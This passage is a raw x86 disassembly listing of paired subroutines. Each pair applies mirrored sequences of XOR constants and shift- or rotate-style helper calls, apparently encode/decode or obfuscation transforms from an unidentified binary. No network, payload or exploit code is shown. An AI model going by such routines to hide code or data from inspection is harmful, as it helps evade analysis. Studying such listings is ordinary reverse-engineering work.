push 0FFFFFFFBh push 7 push 17h mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 1 push 1Dh mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 11h push 2 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 1 push 5 mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF1h push 7 push 16h mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 51D49BEEh mov [ebp+arg_0], ecx push 0FFFFFFFFh mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 15h push 2 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 0D40DC76Bh mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] pop ebp retn sub_4922F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4923BD proc near ; CODE XREF: sub_498DD8+D0p ; sub_49B5EE+A0p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 1FB286A7h mov [ebp+arg_0], eax push 12h push 1 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 7 push 0Ch mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 1 mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 12h push 6 push 15h mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 1 push 0Ch mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0Eh push 1 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 62B1561Bh mov [ebp+arg_0], ecx push 0Dh push 4 mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0Bh mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 17h push 5 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 2 push 15h mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0B0E2B697h mov [ebp+arg_0], eax push 3 push 0 push 1Ah mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0C10FFB6Fh mov [ebp+arg_0], edx push 0Fh mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Ch push 3 push 15h mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0D4EC99D7h mov [ebp+arg_0], edx push 2 push 1Ah mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 15h push 2 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0Fh push 0Ah push 12h mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0A5365844h mov [ebp+arg_0], eax push 0Ch push 13h mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0DC1DBEA4h mov [ebp+arg_0], edx mov eax, [ebp+arg_0] pop ebp retn sub_4923BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49255B proc near ; CODE XREF: sub_498DD8+Dp ; sub_49B5EE+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 0DC1DBEA4h mov [ebp+arg_0], eax push 0Ch push 13h mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0A5365844h mov [ebp+arg_0], edx push 0FFFFFFF1h push 0Ah push 12h mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 15h push 2 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 2 push 1Ah mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0D4EC99D7h mov [ebp+arg_0], eax push 0FFFFFFF4h push 3 push 15h mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0FFFFFFF1h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0C10FFB6Fh mov [ebp+arg_0], eax push 0FFFFFFFDh push 0 push 1Ah mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0B0E2B697h mov [ebp+arg_0], edx push 2 push 15h mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 17h push 5 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF5h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Dh push 4 mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 62B1561Bh mov [ebp+arg_0], ecx push 0Eh push 1 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 1 push 0Ch mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFEEh push 6 push 15h mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0FFFFFFFFh mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 7 push 0Ch mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 12h push 1 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 1FB286A7h mov [ebp+arg_0], edx mov eax, [ebp+arg_0] pop ebp retn sub_49255B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4926F9 proc near ; CODE XREF: sub_496126+9Bp ; sub_499ED8+ECp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 0A5E71B39h mov [ebp+arg_0], eax push 0Ch push 11h mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 5D82E21Eh mov [ebp+arg_0], edx push 1Bh mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Ch push 4 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 3 push 13h push 4 mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 9 push 13h mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 9 push 5 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0E6A48E86h mov [ebp+arg_0], edx push 10h push 3 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 12h push 0Ch mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 1 mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 2 push 1Ch mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 2 push 0Bh push 12h mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 1Dh mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 2A45868Bh mov [ebp+arg_0], eax push 0Ah push 4 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0Ah mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 14h push 6 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 1Ah mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 2BF12DD0h mov [ebp+arg_0], edx mov eax, [ebp+arg_0] pop ebp retn sub_4926F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_492865 proc near ; CODE XREF: sub_496126+Dp ; sub_499ED8+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 2BF12DD0h mov [ebp+arg_0], eax push 0FFFFFFE6h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 14h push 6 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF6h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Ah push 4 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 2A45868Bh mov [ebp+arg_0], edx push 0FFFFFFE3h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0FFFFFFFEh push 0Bh push 12h mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 2 push 1Ch mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFFFh mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 12h push 0Ch mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 10h push 3 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0E6A48E86h mov [ebp+arg_0], eax push 9 push 5 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 9 push 13h mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFFDh push 13h push 4 mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0Ch push 4 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFE5h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 5D82E21Eh mov [ebp+arg_0], eax push 0Ch push 11h mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0A5E71B39h mov [ebp+arg_0], edx mov eax, [ebp+arg_0] pop ebp retn sub_492865 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4929D0 proc near ; CODE XREF: sub_49591C+9Cp ; sub_495DD2+172p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 1C647266h mov [ebp+arg_0], eax push 1Ch mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 8C4BE5FAh mov [ebp+arg_0], edx push 1Eh mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Bh push 4 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 2 push 16h mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 3 mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 3 push 0Dh push 9 mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0ECA9E3B5h mov [ebp+arg_0], edx mov eax, [ebp+arg_0] pop ebp retn sub_4929D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_492A69 proc near ; CODE XREF: sub_49591C+Dp ; sub_495DD2+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 0ECA9E3B5h mov [ebp+arg_0], eax push 0FFFFFFFDh push 0Dh push 9 mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0FFFFFFFDh mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 2 push 16h mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0Bh push 4 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFE2h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 8C4BE5FAh mov [ebp+arg_0], eax push 0FFFFFFE4h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 1C647266h mov [ebp+arg_0], edx mov eax, [ebp+arg_0] pop ebp retn sub_492A69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_492B01 proc near ; CODE XREF: sub_497C2D+8Fp ; sub_4991C7+AFp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 0C4E8019Fh mov [ebp+arg_0], eax push 0Dh push 12h mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 10h push 6 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0Dh mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 0E0B09847h mov [ebp+arg_0], ecx push 12h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Bh push 11h mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 15h push 9 push 16h mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 5 push 18h mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 4 mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0 push 2 mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 1317EC6Fh mov [ebp+arg_0], edx push 0Ah push 3 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 4 mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 13h push 6 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0 push 1Bh mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 7DF19611h mov [ebp+arg_0], ecx push 12h push 7 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 3 push 1Ah mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 94093F8Bh mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] pop ebp retn sub_492B01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_492C5B proc near ; CODE XREF: sub_497C2D+Dp ; sub_4991C7+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 94093F8Bh mov [ebp+arg_0], eax push 3 push 1Ah mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 12h push 7 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 7DF19611h mov [ebp+arg_0], eax push 0 push 1Bh mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 13h push 6 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFFCh mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Ah push 3 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 1317EC6Fh mov [ebp+arg_0], edx push 0 push 2 mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFFCh mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 5 push 18h mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFEBh push 9 push 16h mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0Bh push 11h mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFEEh mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0E0B09847h mov [ebp+arg_0], eax push 0FFFFFFF3h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 10h push 6 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0Dh push 12h mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 0C4E8019Fh mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] pop ebp retn sub_492C5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_492DB3 proc near ; CODE XREF: sub_4959C8+9Bp ; sub_499942+93p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 0ED91C2E4h mov [ebp+arg_0], eax push 0Dh mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 10h push 3 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0Fh mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 10h push 6 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 12h push 2 mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0Ah push 2 push 0Ch mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 13h push 6 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 2 push 17h push 3 mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_492DB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_492E5E proc near ; CODE XREF: sub_4959C8+Dp ; sub_499942+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFEh push 17h push 3 mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 13h push 6 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF6h push 2 push 0Ch mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 12h push 2 mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 10h push 6 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF1h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 10h push 3 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF3h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0ED91C2E4h mov [ebp+arg_0], edx mov eax, [ebp+arg_0] pop ebp retn sub_492E5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_492F0A proc near ; CODE XREF: sub_495547+76p ; sub_499E2C+9Cp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 0E23BCB7Bh mov [ebp+arg_0], eax push 13h push 1 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0C2E0485Ch mov [ebp+arg_0], edx push 1 push 17h mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 1Dh mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 4 push 0 push 6 mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0D53938BEh mov [ebp+arg_0], eax push 2 push 12h push 9 mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 14h push 8 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_492F0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_492FA8 proc near ; CODE XREF: sub_495547+Dp ; sub_499E2C+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 14h push 8 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFFEh push 12h push 9 mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0D53938BEh mov [ebp+arg_0], edx push 0FFFFFFFCh push 0 push 6 mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0FFFFFFE3h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 1 push 17h mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0C2E0485Ch mov [ebp+arg_0], eax push 13h push 1 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0E23BCB7Bh mov [ebp+arg_0], edx mov eax, [ebp+arg_0] pop ebp retn sub_492FA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_493047 proc near ; CODE XREF: sub_499022+DDp ; sub_49AC45+9Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 52E5DC04h mov [ebp+arg_0], eax push 0Fh mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 5 push 2 push 9 mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0Bh mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 15h push 6 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 6 push 17h push 8 mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 7F8AC670h mov [ebp+arg_0], eax push 0Ch push 1 push 1Eh mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 8E1DADF8h mov [ebp+arg_0], edx push 18h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 0BF96859Fh mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] pop ebp retn sub_493047 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_493102 proc near ; CODE XREF: sub_499022+Dp ; sub_49AC45+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 0BF96859Fh mov [ebp+arg_0], eax push 0FFFFFFE8h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 8E1DADF8h mov [ebp+arg_0], edx push 0FFFFFFF4h push 1 push 1Eh mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 7F8AC670h mov [ebp+arg_0], ecx push 0FFFFFFFAh push 17h push 8 mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 15h push 6 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF5h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0FFFFFFFBh push 2 push 9 mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0FFFFFFF1h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 52E5DC04h mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] pop ebp retn sub_493102 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4931BE proc near ; CODE XREF: sub_495F54+C9p ; sub_49805F+71p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 109A5038h mov [ebp+arg_0], eax push 14h push 6 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 5 mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0E0C7E95Bh mov [ebp+arg_0], eax push 0Fh mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 93D5877Eh mov [ebp+arg_0], edx push 17h push 4 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 11h push 1 push 1Dh mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 9344CFF2h mov [ebp+arg_0], edx push 0Ch mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 15h push 9 push 16h mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0B3FB847Ch mov [ebp+arg_0], edx push 5 mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 1C93A3DDh mov [ebp+arg_0], ecx push 4 push 18h mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 17h push 4 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 64DEF633h mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] pop ebp retn sub_4931BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4932D2 proc near ; CODE XREF: sub_495F54+Dp ; sub_49BB7F+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 64DEF633h mov [ebp+arg_0], eax push 17h push 4 mov 